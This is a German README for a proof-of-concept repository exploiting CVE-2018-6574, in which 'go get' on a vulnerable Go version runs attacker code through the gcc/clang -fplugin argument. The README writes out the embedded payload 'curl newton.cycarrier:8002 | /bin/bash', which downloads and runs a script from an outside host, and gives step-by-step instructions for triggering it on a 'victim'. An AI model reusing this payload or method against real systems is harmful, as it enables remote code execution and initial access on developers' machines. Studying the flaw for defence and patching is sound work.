CVE-2018-6574

Go vor 1.8.7, Go 1.9.x vor 1.9.4 und Go 1.10-Vorabversionen vor Go 1.10rc2 erlauben go get Remote-Befehlsausführung während des Quellcode-Builds, indem die gcc- oder clang-Plugin-Funktion ausgenutzt wird, da die Argumente -fplugin= und -plugin= nicht blockiert wurden. (von mitre)

RCE-Befehl

Der Befehl wurde in die dynamische Bibliothek calc_darwin.so kompiliert. Der aktuelle Befehl lautet curl newton.cycarrier:8002 | /bin/bash. Er wurde als anfänglicher Zugriff eines Programms verwendet. Du musst einen Dateiserver auf Port 8002 hosten und den Host an deine IP binden.

Wie wird es ausgelöst?

Zuerst musst du die erforderliche Version von Golang auf dem Opfer installieren. Dann hoste dieses Repo auf einem erreichbaren Git-Server. Verwende schließlich den Befehl go get, um dieses Repo abzurufen, und der Befehl wird automatisch ausgeführt.

Nimm mein Repo als Beispiel. Du musst den folgenden Befehl verwenden:

go get github.com/frozenkp/CVE-2018-6574

Warnung

Dieses Repo dient nur zu Evaluierungszwecken.